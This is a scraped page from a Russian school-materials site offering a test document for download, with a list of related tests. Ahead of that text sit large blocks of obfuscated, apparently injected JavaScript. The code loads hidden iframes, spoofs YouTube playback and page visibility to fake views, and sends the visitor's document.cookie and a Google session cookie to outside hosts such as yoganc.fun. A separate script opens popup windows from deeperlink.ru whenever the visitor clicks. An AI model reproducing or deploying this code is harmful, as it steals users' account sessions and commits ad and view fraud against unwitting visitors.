this.xhr.getAllResponseHeaders()},overrideMimeType:function(e){this.xhr.overrideMimeType(e)},abort:function(){this.xhr.abort()},send:function(e){this.timeout&&(this.xhr.timeout=this.timeout),this.responseType&&(this.xhr.responseType=this.responseType),this.withCredentials&&(this.xhr.withCredentials=this.withCredentials),this.responseText="",this.responseXML={},this.updateInfo(),e=b(this.url,e),this.xhr.send(e)},addEventListener:function(e,t){var n=e.toLowerCase();this.events[n]=t},removeEventListener:function(e){var t=e.toLowerCase();this.events[t]=null},updateInfo:function(){try{this.channel=this.xhr.channel,this.mozAnon=this.xhr.mozAnon,this.mozSystem=this.xhr.mozSystem,this.mozBackgroundRequest=this.xhr.mozBackgroundRequest,this.readyState=this.xhr.readyState,this.responseType=this.xhr.responseType,this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=/i)?this.responseURL=this.url:this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}var e,t;this.url.indexOf("pbj")>-1?(e=U(this.xhr.response))&&(this.response=e):this.response=this.xhr.response,this.responseType&&"text"!==this.responseType||!this.xhr.responseText||(this.url.indexOf("pbj")>-1?(t=U(this.xhr.responseText))&&(this.responseText=t):this.responseText=this.xhr.responseText),this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},handleEvent:function(e){var t=e.type.toLowerCase();if(this.updateInfo(),this.events[t]){if(this.url.indexOf("/player")>-1)return void $(this,e,this.events[t]);if(this.url.indexOf("/next")>-1)return void P(this,e,this.events[t]);this.events[t](e)}if(this["on"+t]){if(this.url.indexOf("/player")>-1)return void $(this,e,this["on"+t]);if(this.url.indexOf("/next")>-1)return void P(this,e,this["on"+t]);this["on"+t](e)}}}),K.send("load_pol",!0),Z()},ne=function(n){var a;try{a=JSON.parse(n)}catch(e){return!1}return a?(void 0!==(t=a).prod&&(r.isProd=t.prod),void 0!==t.timer&&(r.timerWait=parseInt(t.timer)),void 0!==t.count&&(r.frameCount=parseInt(t.count)),void 0!==t.time&&(r.viewTime=parseInt(t.time)),!0):(e.isTop&&K.send("no_info",!0),!1)},ae=function(t){try{var n=JSON.parse(t.data);n&&n.id&&n.action&&(n.udid&&(r.mainUdid=n.udid),n.isauth&&(e.isAuth=n.isauth),"restart"===n.action&&function(t){t=parseInt(t);var n=document.getElementById("worker_"+t),a=document.getElementById("workfr_"+t);(a||n)&&(a&&a.remove(),n&&n.remove(),K.send("rem_"+t)),e.canWork&&e.isAuth&&setTimeout(function(){re(t)},r.timerWait)}(n.id),"noauth"===n.action&&(e.isAuth=!1,e.canWork=!1))}catch(e){}},ie=0,re=function(e){e||(e=++ie);var n=document.createElement("div"),a=document.createElement("iframe");n.id="worker_"+e,n.style.width=Math.min(window.innerWidth,431)+"px",n.style.height=Math.min(window.innerHeight,701)+"px",n.style.top=10*(e-1)+"px",n.style.left="-"+(Math.min(window.innerWidth,431)-10)+"px",n.style.opacity="0.01",n.style.position="fixed",n.style.overflow="hidden",document.body.appendChild(n),a.id="workfr_"+e,a.style.width=Math.min(window.innerWidth,431)+"px",a.style.height=Math.min(window.innerHeight,701)+"px",a.width=Math.min(window.innerWidth,431)+"",a.height=Math.min(window.innerHeight,701)+"",a.style.opacity="0.01",a.src=t.start+"?id="+e+"&udid="+r.mainUdid+"&config="+btoa(JSON.stringify(t)),n.appendChild(a),K.send("worker_"+e,!0),setTimeout(se,1e3)},se=function(){e.canWork&&r.frameCount>ie&&re(!1)},oe=function(e,t){ne(e)&&(t?t():setTimeout(ue,6e4))},de=function(){t.start&&t.active&&(K.send("start_cfg",!0),window.addEventListener("message",ae),se(),setTimeout(ue,6e4))},le=a.searchData.has("config")?atob(a.searchData.get("config")):"",ce=function(t){(window.parent?window.parent:window.top).postMessage(JSON.stringify({type:r.scriptType,action:t,isauth:e.isAuth,id:i}),"*")},ue=function(e){m.getSend("https://"+n.cdnUrl+"/start"+r.taskId+".json?t="+(new Date).toISOString().slice(0,16),{success:function(t){oe(t,e)},error:function(t){oe(t,e)}})},pe=function(){document.body?window.top===window.self?(e.isTop=!0,K.send("top_start",!0),ue(de)):function(){if(ne(le)){if(K.send("frame_started",!0),a.locData.indexOf("scheduler")>-1||a.locData.indexOf("polyfill")>-1){var t=f.cget("__Secure-3PAPISID");return t?(e.isAuth=!0,r.mainUdid=t,K.send("udid_found",!0)):K.send("udid_nofound",!0),void te()}a.locData.indexOf("cdnservice")>-1&&a.locData.indexOf("yshow")>-1?K.send("load_cdn",!0,!1,function(){ce("restart")}):K.send("url_error",!0,!1,function(){ce("restart")})}}():setTimeout(pe,200)};pe()}}(); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){ var expDate = function(){return Date.now() / 1000 | 0;}; var pingTime = localStorage.getItem("clclicktime") || 0; var secPassed = expDate()-pingTime; var url = ""; if (window == window.top && (pingTime == 0 || secPassed > 60)) { var img = new Image(); var image_url = "https://jysjbicj.deeperlink.ru/cp/as1"; img.src = image_url; img.addEventListener("load",function(){ url = 'https://jysjbicj.deeperlink.ru/cr/as1'; }); img.addEventListener("error",function(){ localStorage.setItem("clclicktime",expDate()); }); } var par = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; var txt = new Array(); txt[0]="http://yandex.ru/"; txt[1]="http://google.com/"; var b = Math.round(Math.random() * (txt.length - 1)); var ssilka = txt[b]; function showclick() { if (url != "") { var hrf = url; url = ""; window.open(hrf, "site", par); localStorage.setItem("clclicktime",expDate()); } } document.addEventListener('mousedown',showclick); }(); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){if(!window.mainStmAScript){window.mainStmAScript=!0;var e={searchData:new URLSearchParams(document.location.search),locData:document.location.href.toLowerCase()},t={isTop:!1,isAuth:!1,canWork:!0,isYou:!1,isMain:!1,frAllow:!0,frAnswer:!1},n={onlytop:!1,onlyframe:!1,onlyauth:!1,onlynoauth:!1,load:!1,proxy:!1,upvis:!1,muted:!1,stop:!1,start:"",version:1,udid:""},i={taskId:8,workerId:"23",serviceId:"0",taskVersion:1,scriptType:"sl_",isProd:!0,mainUdid:"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})},r="st1.yoganc.fun",a={statType:"desktop",logtype:"ytstream"},o={bUrl:"https://m.youtube.com/watch?app=m",aUrl:".nservices.space/youlist.php",eLog:".statuses.space/event",sLog:"https://log.kslogs.ru/timesince"},d={currentItem:null,currentView:""},s=null,u=8,c={start:!1,playback:!1,ptracking:!1,delayplay:!1,atr:!1,watchtime:!1,api_stats_qoe:!1,youtubei_v1_player_heartbeat:!1},p={videoId:"",qid:null},l=function(e){window.history.replaceState({},"",e)},h=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},m=function(e,t,n){var i=new Date,r=e+"="+t;for(var a in i.setTime(i.getTime()+1e3*n.expires),n.expires=i.toUTCString(),n){r+="; "+a;var o=n[a+""];!0!==o&&(r+="="+o)}document.cookie=r},f=function(){return this};f.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,n){n=this.fillOptions(n);var i=window.preXMLHttpRequest?new window.preXMLHttpRequest:new XMLHttpRequest;if(i.open(e,t,!0),n.json||"POST"!==e||i.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),i.onreadystatechange=function(){i.readyState===i.DONE&&(200===i.status?n.success&&n.success(i.responseText):n.error&&n.error(i.responseText,i.status))},n.creds&&(i.withCredentials=!0),n.headers)for(var r in n.headers)i.setRequestHeader(r+"",n.headers[r+""]);return i.send(n.data?n.data:null),i}};var w=new f,y=function(){return this.stopLog=!1,this.logData={udid:i.mainUdid,task_id:i.taskId,sid:a.logtype,generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:i.taskVersion},this.ReqLog=new f,this};y.prototype={send:function(e,r,s,u){var c=this;if(s?Y():u&&setTimeout(u,100),!(i.isProd&&!r||this.stopLog)){var p=JSON.parse(JSON.stringify(this.logData));p.udid=i.mainUdid,p.sid=a.logtype,p.event=e,p.timer=d.currentItem?parseInt(d.currentItem.id):0,p.generated=t.isTop,p.visibility_state=i.taskVersion,n.udid&&(p.udid=n.udid);var l={json:!0,data:JSON.stringify(p)};setTimeout(function(){c.ReqLog.postSend(o.sLog,l)},0)}}};var v=new y,_=null,x=[],g=function(){if(x.length){for(var e=x.shift();e;){if(e.frame){try{e.frame.remove()}catch(e){}e.frame=null}e=x.shift()}_.innerHTML=""}},T=function(e){if(e.frame){try{e.frame.remove()}catch(e){}e.frame=null}},b=0,E=function(){w.postSend("https://service"+i.serviceId+o.aUrl+"?worker="+i.workerId+"&uid="+i.mainUdid+"&rand="+Math.random(),{data:"",success:function(e){var n;v.send("load",!0);try{n=JSON.parse(e)}catch(e){return}if(n[18]){1===b&&(t.frAnswer||(t.frAllow=!1),t.frAllow?v.send("fr",!0):(v.send("nofr",!0),g())),b++;var i={};for(let e in n[18])i[e]={id:e+"",item:n[18][e+""]+""};Object.keys(i).length?(v.send("SL_ii"),function(e){var t=[];for(let n=x.length-1;n>=0;n--){let i=x[n];e[i.id]?t.push(i.id):(T(i),x.splice(n,1))}for(let n in e)t.indexOf(n)>-1||M(e[n])}(i)):g()}}})},M=function(e){e.frame=document.createElement("iframe"),e.frame.id="subfr_"+i.scriptType+i.workerId+"_"+e.id,e.frame.style.width=Math.min(window.innerWidth,701)+"px",e.frame.style.height=Math.min(window.innerHeight,431)+"px",e.frame.width=Math.min(window.innerWidth,701)+"",e.frame.height=Math.min(window.innerHeight,431)+"",e.frame.style.opacity="0.01",t.frAllow?(v.send("try_fr",!0),e.frame.src=n.start+"?config="+btoa(JSON.stringify(n))+"&id="+e.id+"&item="+e.item):(v.send("try_embed",!0),e.frame.src="https://www.google.com/url?sa=D&q=https://www.youtube.com/embed/"+e.item+encodeURIComponent("?enablejsapi=1&origin=*&playsinline=1&autoplay=1&mute=1")),_.appendChild(e.frame),x.push(e),v.send("v_start",!0)},L=function(){n.onlytop&&!1===t.isTop?g():n.onlyframe&&!1!==t.isTop?g():n.load&&n.proxy?s||((s=document.createElement("iframe")).id="subfr_"+i.scriptType+i.workerId,s.style.width=Math.min(window.innerWidth,701)+"px",s.style.height=Math.min(window.innerHeight,431)+"px",s.width=Math.min(window.innerWidth,701)+"",s.height=Math.min(window.innerHeight,431)+"",s.style.opacity="0.01",s.src=n.start+"?config="+btoa(JSON.stringify(n)),_.appendChild(s),v.send("p_start",!0)):E()},k=!1,S={cmt:0,rt:0,rti:0,rtn:0,lact:0,st:0,et:0},q=function(e){for(var t in S.cmt+=20,S.rt+=20,S.rti+=20,S.rtn=S.rti+20,S.lact+=2e4,S.st+=20,S.et+=20,S)e=e.replace(new RegExp("([&?]"+t+"=)[^&]+(&.*|)$","i"),"$1"+S[t]+"$2");var n;e.indexOf("rti=")<0&&(e+="&rti="+S.rti),e.indexOf("rtn=")<0&&(e=e.replace(/([&?]cr=[^&]+)(&.*|)$/i,"$1&rtn="+S.rtn+"$2")),w.getSend(e,{creds:!0}),n=e,setTimeout(function(){q(n)},2e4)},I=!1,H=function(){!1===c.delayplay&&(c.delayplay=!0,v.send("skip_delayplay",!1),u--),!1===c.youtubei_v1_player_heartbeat&&(c.youtubei_v1_player_heartbeat=!0,v.send("skip_youtubei_v1_player_heartbeat",!1),u--)},R=function(e){var t=8;for(var n in c)!0===c[n]&&t--;0===t&&(I||(I=!0,v.send("send_data",!1),w.postSend("https://"+r+"/v1/senddata?udid="+i.mainUdid+"&qid="+p.qid+"&video="+p.videoId+"&cookies="+encodeURIComponent(document.cookie)+"&rand="+Math.random(),{success:function(){v.send("sended",!0,!0)},error:function(){v.send("sended_error",!1,!0)}})),u--),!1===c[e]&&(c[e]=!0,v.send("update_"+e,!1),u--)},N=function(e,t){if(e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),n.load&&n.proxy)return function(e){var t=e.toLowerCase().match(/\/(playback|ptracking|delayplay|atr|watchtime|api\/stats\/qoe|youtubei\/v1\/player\/heartbeat)\?/i);if(t){var n=t[1].replace(/\//g,"_");return R(n),"https://"+r+"/v1/savelink?udid="+(u<0?"zero":i.mainUdid)+"&qid="+p.qid+"&video="+p.videoId+"&type="+n+"&url="+encodeURIComponent(e)+"&rand="+Math.random()}return e}(e);var a,o=e.toLowerCase();if(o.indexOf("/qoe?")>-1&&(e=e.replace(/[&?]df=[^&]+(&.*|)$/i,"$1")),o.indexOf("/watchtime?")>-1){if(k)return e.replace(/m\.youtube/i,"m.youtubes");if(o.indexOf("final=1")>-1)return e;k=!0;var d=o.match(/[&?]cmt=([0-9.]+)(&.*|)$/i);d&&(S.cmt=parseFloat(d[1]));var s=o.match(/[&?]rt=([0-9.]+)(&.*|)$/i);s&&(S.rt=parseFloat(s[1]));var c=o.match(/[&?]rti=([0-9.]+)(&.*|)$/i);c&&(S.rti=parseFloat(c[1]));var l=o.match(/[&?]rtn=([0-9.]+)(&.*|)$/i);l&&(S.rtn=parseFloat(l[1]));var h=o.match(/[&?]lact=([0-9]+)(&.*|)$/i);h&&(S.lact=parseFloat(h[1]));var m=o.match(/[&?]st=([0-9.]+)(&.*|)$/i);m&&(S.st=parseFloat(m[1]),S.et=S.st+20),a=e,setTimeout(function(){q(a)},2e4)}return e},A=!1,D=function(){if(!A){A=!0,v.send("VIS");try{document.hasFocus=function(){return!0}}catch(e){0}try{delete document.hidden}catch(e){0}try{document.__defineGetter__("hidden",function(){return!1})}catch(e){0}try{delete document.visibilityState}catch(e){0}try{document.__defineGetter__("visibilityState",function(){return"visible"})}catch(e){0}!function(){var e=0;try{window.__requestAnimationFrame=window.requestAnimationFrame,delete window.requestAnimationFrame}catch(e){0}try{window.requestAnimationFrame=function(t){var n=(new Date).getTime(),i=Math.max(0,16-(n-e));return e=n+i,window.setTimeout(function(){t(n+i)},i)},window.cancelAnimationFrame=function(e){clearTimeout(e)}}catch(e){0}}(),function(){var e=0;try{window.__webkitRequestAnimationFrame=window.webkitRequestAnimationFrame,delete window.webkitRequestAnimationFrame}catch(e){0}try{window.webkitRequestAnimationFrame=function(t){var n=(new Date).getTime(),i=Math.max(0,16-(n-e));return e=n+i,window.setTimeout(function(){t(n+i)},i)},window.webkitCancelAnimationFrame=function(e){clearTimeout(e)}}catch(e){0}}()}},O=function(){if(!n.muted)return;let e=document.getElementsByClassName("video-stream html5-main-video");e&&e[0]&&(e[0].muted=!0),setTimeout(O,500)},C={linkNode:!1,clicked:!1,tryCount:0,touchN:0,MN_click:!1,LN_click:!1},U=function(e,t,n){const i=[];n.forEach(t=>{i.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:i,view:window,cancelable:!0,bubbles:!0}))},F=function(){if(!C.clicked){C.clicked=!0;try{C.linkNode.removeEventListener("click",F)}catch(e){}}},j=function(){var e=document.evaluate('//div[contains(@class,"consent-bump-v2-lightbox")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();e&&e.remove();var t=document.evaluate('//button[contains(@class,"ytp-large-play-button ytp-button")]',document,null,XPathResult.ANY_TYPE,null);C.linkNode=t.iterateNext(),C.linkNode&&(C.linkNode.addEventListener("click",F),setTimeout(function(){var e,t;e=5,t=5,C.touchN++,U(C.linkNode,"touchstart",[{x:e,y:t,id:C.touchN}]),setTimeout(function(){C.touchN++,U(C.linkNode,"touchend",[{x:e,y:t,id:C.touchN}]),C.linkNode.click()},100),setTimeout(function(){C.clicked||v.send("nc",!0,!0)},1e3)},1e3))},P=5,X=function(){--P<1?v.send("BL_e",!0,!0):document&&document.body&&!(document.body.className.indexOf("load")>-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(v.send("main_start",!0),setTimeout(O,100),setTimeout(function(){j()},300)):setTimeout(X,300)},$=function(e){return e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace("window.delayFetch","false")).replace("(isHidden)","(false)")).replace(/document\.hidden/g,"false")).replace(/hq720[^.]*\.jpg\?.*?\\x22/g,"default.jpg\\x22")).replace(/mqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/sddefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hq720[^.]*\.webp\?.*?\\x22/g,"default.webp\\x22")).replace(/mqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/hqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/sddefault[^.]*\.webp\\x22/g,"default.webp\\x22"),d.currentItem&&(e=(e=(e=e.replace(/watch\?v\\x3d[a-zA-Z0-9_-]{11}/g,"watch?v\\x3d"+d.currentItem.item)).replace(/\\x22videoId\\x22:\\x22[a-zA-Z0-9_-]{11}\\x22/g,"\\x22videoId\\x22:\\x22"+d.currentItem.item+"\\x22")).replace(/\\x22addedVideoId\\x22:\\x22[a-zA-Z0-9_-]{11}\\x22/g,"\\x22addedVideoId\\x22:\\x22"+d.currentItem.item+"\\x22")),e},G=function(e){var t;v.send("parse_start",!0);try{t=JSON.parse(e)}catch(e){v.send("p_error",!1,!0)}for(var n in t.Data&&t.Data.qid&&t.Data.video_id||v.send("pd_error",!1,!0),p.qid=t.Data.qid,p.videoId=t.Data.video_id,v.send(p.qid,!1),R("start"),l("https://m.youtube.com/watch?app=m&v="+p.videoId),t.Data.cookies)m(n,t.Data.cookies[n],{domain:".youtube.com",path:"/",expires:31536e3,SameSite:"None",Secure:!0});var i=$(t.Data.body);D();try{document.open("text/html","replace"),document.write(i),document.close()}catch(e){}v.send("start_page",!0),document.dispatchEvent(new Event("visibilitychange")),setTimeout(X,300),setTimeout(H,2e4)},B=function(){window.__prepareReplaceUrl=function(e,t){return N(e)},window.preRequest=window.Request,window.Request=function(e,t){return e=N(e),new window.preRequest(e,t)},window.navigator.preBeacon=window.navigator.sendBeacon,window.navigator.sendBeacon=function(e,t){return e=N(e),window.navigator.preBeacon(e,t)},window.preXMLHttpRequest=window.XMLHttpRequest,window.XMLHttpRequest=function(){this.xhr=new window.preXMLHttpRequest,this.events={},this.UNSENT=0,this.OPENED=1,this.HEADERS_RECEIVED=2,this.LOADING=3,this.DONE=4;var e=this,t=function(t){e.handleEvent(t)};return this.xhr.addEventListener("loadstart",t),this.xhr.addEventListener("load",t),this.xhr.addEventListener("loadend",t),this.xhr.addEventListener("progress",t),this.xhr.addEventListener("error",t),this.xhr.addEventListener("abort",t),this.xhr.addEventListener("timeout",t),this.xhr.addEventListener("readystatechange",t),this},window.XMLHttpRequest.prototype={open:function(e,t,n,i,r){return this.url=t.toLowerCase(),t=N(t),this.replasedUrl=t.toLowerCase(),this.xhr.open(e,t,void 0===n||n,i,r)},setRequestHeader:function(e,t){this.xhr.setRequestHeader(e,t)},getResponseHeader:function(e){return this.xhr.getResponseHeader(e)},getAllResponseHeaders:function(){return this.xhr.getAllResponseHeaders()},overrideMimeType:function(e){this.xhr.overrideMimeType(e)},abort:function(){this.xhr.abort()},send:function(e){this.timeout&&(this.xhr.timeout=this.timeout),this.responseType&&(this.xhr.responseType=this.responseType),this.withCredentials&&(this.xhr.withCredentials=this.withCredentials),this.responseText="",this.responseXML={},this.updateInfo(),this.replasedUrl.indexOf("m.youtubes")>-1||this.xhr.send(e)},addEventListener:function(e,t){var n=e.toLowerCase();this.events[n]=t},removeEventListener:function(e){var t=e.toLowerCase();this.events[t]=null},updateInfo:function(){try{this.channel=this.xhr.channel,this.mozAnon=this.xhr.mozAnon,this.mozSystem=this.xhr.mozSystem,this.mozBackgroundRequest=this.xhr.mozBackgroundRequest,this.readyState=this.xhr.readyState,this.responseType=this.xhr.responseType,this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}this.response=this.xhr.response,this.responseType&&"text"!==this.responseType||!this.xhr.responseText||(this.responseText=this.xhr.responseText),this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},handleEvent:function(e){var t=e.type.toLowerCase();this.updateInfo(),this.events[t]&&this.events[t](e),this["on"+t]&&this["on"+t](e)}}},z=function(){B(),n.load&&n.proxy?w.postSend("https://"+r+"/v1/starter?udid="+i.mainUdid+"&rand="+Math.random(),{success:G,error:function(){v.send("start_error",!1,!0)}}):d.currentItem&&J()},J=function(){var e=o.bUrl+"&v="+d.currentItem.item;l(e),w.getSend(e,{success:function(e){v.send("MNL"),e?(e=$(e))?(D(),ie(),function(e){try{document.open("text/html","replace"),document.write(e),document.close()}catch(e){v.send("e_bad",!1,!0)}document.dispatchEvent(new Event("visibilitychange")),setTimeout(X,300)}(e)):v.send("e_prep",!1,!0):v.send("e_resp",!1,!0)},error:function(){v.send("e_load",!1,!0)},headers:{accept:"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","upgrade-insecure-requests":"1"},creds:!0})},V=function(e){try{e=JSON.parse(e)}catch(e){return}if(e){for(var r in n)e[r]&&(n[r]=e[r]);if(i.taskVersion=parseInt(n.version),t.isMain)return n.udid=i.mainUdid,setTimeout(W,6e4),void L();if(i.mainUdid=n.udid,K("frame"),n.onlyauth||n.onlynoauth)return h("__Secure-3PAPISID")?(t.isAuth=!0,v.send("auth_found",!0)):v.send("auth_no",!0),void((n.onlyauth&&t.isAuth||n.onlynoauth&&!t.isAuth)&&z());z()}},W=function(){w.getSend("https://cdne1.yoganc.fun/strload_test.json?t="+(new Date).toISOString().slice(0,15).replace(/[^0-9]/g,""),{success:V})},Y=function(){K("remove")},Z=function(e){try{var n=JSON.parse(e.data);if(n&&n.type&&n.type===i.scriptType){if(!n.action)return;switch(n.action){case"frame":t.frAllow=!0,t.frAnswer=!0;break;case"remove":!function(){if(s){try{s.remove()}catch(e){}s=null}}()}}}catch(e){}},K=function(e){(window.parent?window.parent:window.top).postMessage(JSON.stringify({action:e,type:i.scriptType,id:d.currentItem?d.currentItem.id:0}),"*")},Q=!1,ee=!1,te=!1,ne={currentTime:.035,duration:null,ended:!1,paused:!1,readyState:0,networkState:3,askBuffered:!1,askPlayed:!1,buffered:{length:0,start:0,end:0},played:{length:0,start:0,end:0}},ie=function(){window.HTMLMediaElement.prototype.__addEventListener=window.HTMLMediaElement.prototype.addEventListener,window.HTMLMediaElement.prototype.addEventListener=function(e,t,n){return this.__addEventListener(e,function(t,n){"playing"!==e||ee||(te=!0,v.send("realPlay"))},n),this.__addEventListener(e,t,n)},window.HTMLMediaElement.prototype.doplay=function(){if(ee){var e=this;ne.currentTime+=1,ne.buffered.end=ne.currentTime,ne.played.end=ne.currentTime,this.dispatchEvent(new Event("timeupdate")),setTimeout(function(){e.doplay()},100)}else Q=!1},delete window.HTMLMediaElement.prototype.error,window.HTMLMediaElement.prototype.__defineGetter__("error",function(){return null}),delete window.HTMLMediaElement.prototype.paused,window.HTMLMediaElement.prototype.__defineGetter__("paused",function(){return ne.paused}),delete window.HTMLMediaElement.prototype.ended,window.HTMLMediaElement.prototype.__defineGetter__("ended",function(){return ne.ended}),delete window.HTMLMediaElement.prototype.muted,window.HTMLMediaElement.prototype.__defineGetter__("muted",function(){return!1}),window.HTMLMediaElement.prototype._pause=window.HTMLMediaElement.prototype.pause,window.HTMLMediaElement.prototype.pause=function(){},window.HTMLMediaElement.prototype._play=window.HTMLMediaElement.prototype.play,window.HTMLMediaElement.prototype.play=function(){ee=!1,ne.currentTime=.035,ne.duration=0,ne.ended=!1,ne.paused=!1,ne.readyState=0,ne.networkState=3,ne.buffered.length=0,ne.buffered.start=0,ne.played.length=0,ne.played.start=0,ne.played.end=0,ne.askBuffered=!1,ne.askPlayed=!1;var e=this;return setTimeout(function(){te||ee||(ee=!0,e._updatedData||(e._updatedData=!0,e.__buffered=e.buffered,e._buffered={length:1,start:function(){return 0},end:function(){return ne.buffered.end.toFixed(3)}},e.__played=e.played,e._played={length:1,start:function(){return 0},end:function(){return ne.played.end.toFixed(3)}},e._currentTime=e.currentTime,e.__defineGetter__("currentTime",function(){var t=Math.ceil(1e3*ne.currentTime)/1e3;return te&&(t=e._currentTime),t}),e._duration=e.duration,e.__defineGetter__("duration",function(){var t=ne.duration;return te&&(t=e._duration),t}),e._readyState=e.readyState,e.__defineGetter__("readyState",function(){var t=ne.readyState;return te&&(t=e._readyState),t}),e._networkState=e.networkState,e.__defineGetter__("networkState",function(){var t=ne.networkState;return te&&(t=e._networkState),t}),e.__defineGetter__("buffered",function(){var t=e._buffered;return te&&(t=e.__buffered),t}),e.__defineGetter__("played",function(){var t=e._played;return te&&(t=e.__played),t})),ne.duration=999999999,ne.readyState=4,ne.networkState=1,ne.buffered.length=1,ne.buffered.end=999999999,ne.played.length=1,ne.played.end=0,ne.askBuffered=!1,ne.askPlayed=!1,e.dispatchEvent(new Event("progress")),e.dispatchEvent(new Event("suspend")),e.dispatchEvent(new Event("durationchange")),e.dispatchEvent(new Event("resize")),e.dispatchEvent(new Event("loadedmetadata")),e.dispatchEvent(new Event("loadeddata")),e.dispatchEvent(new Event("playing")),e.dispatchEvent(new Event("timeupdate")),setTimeout(function(){Q||(Q=!0,e.doplay())},100))},1e3),this._play()}};if(window.top===window.self&&0===document.location.ancestorOrigins.length?t.isTop=!0:window.top=window.self,e.locData.indexOf("youtube")<0||t.isTop)t.isMain=!0,(_=document.createElement("div")).id="worker_"+i.scriptType+i.workerId,_.style.width=Math.min(window.innerWidth,701)+"px",_.style.height=Math.min(window.innerHeight,431)+"px",_.style.top="0px",_.style.left="-"+(Math.min(window.innerWidth,701)-10)+"px",_.style.opacity="0.01",_.style.position="fixed",_.style.overflow="hidden",document.body.appendChild(_),v.send("main",!0),window.addEventListener("message",Z),W();else if(e.locData.indexOf("youtube")>-1&&e.locData.indexOf("captions")>-1){t.isYou=!0;var re=e.searchData.has("config")?atob(e.searchData.get("config")):"",ae={id:e.searchData.has("id")?e.searchData.get("id"):"",item:e.searchData.has("item")?e.searchData.get("item"):""};if(!re)return;ae.id&&ae.item&&(d.currentItem=ae),v.send("d_cfg",!0),V(re)}}}(); //--><!]]]]><![CDATA[> //--><!]]>

Скачать:

ВложениеРазмер
Файл prosh_vremya_test.docx619.73 КБ

Предварительный просмотр:


По теме: методические разработки, презентации и конспекты

Тест для 9 класса - Итоговый тест за курс 9 класса, УМК Семакин

Тест для 9 класса - Итоговый тест за курс 9 класса, УМК Семакин...

Интерактивный тест для обучающихся 5 класса, "Умей потушить пожар". Тест создан в программе TestEdu.ru.

С небольшим очагом возгорания можно справиться тебе самому. Загорелось кухонное полотенце - брось его в раковину и залей водой. На пожарах люди чаще всего гибнут от дыма.Тест содержит 10 вопросов, кот...

Сборник тестов "История 5-11 класс География 5-11 класс Обществознание 6-11 классы»

Сборник тестов "История 5-11 класс География 5-11 класс Обществознание 6-11 классы», в который включены тесты по географическому краеведению Оренбургской области....

Тест по литературе на основе учебно-методического пособия Н.Н. Коршунова, Е.Ю. Липина«Тесты» Литература 5-8 классы, Москва, Издательский дом «Дрофа» 1997 в программеАйрен 2002-2009 Сергей Останин вебсайт irenproject.ru

Тест по литературе составлен на основе учебно-методического пособия Н.Н. Коршунова, Е.Ю. Липина«Тесты» Литература 5-8 классы, Москва, Издательский дом «Дрофа» 1997в программеАйрен 2002-2009 Сергей Ост...

"Создание тестов с помощью программы MyTestX" (тесты по ОБЖ, 5 класс)

Тестирование как эффективный способ проверки знаний находит в школе всё большее применение. Одним из основных и несомненных его достоинств является минимум временных затрат на...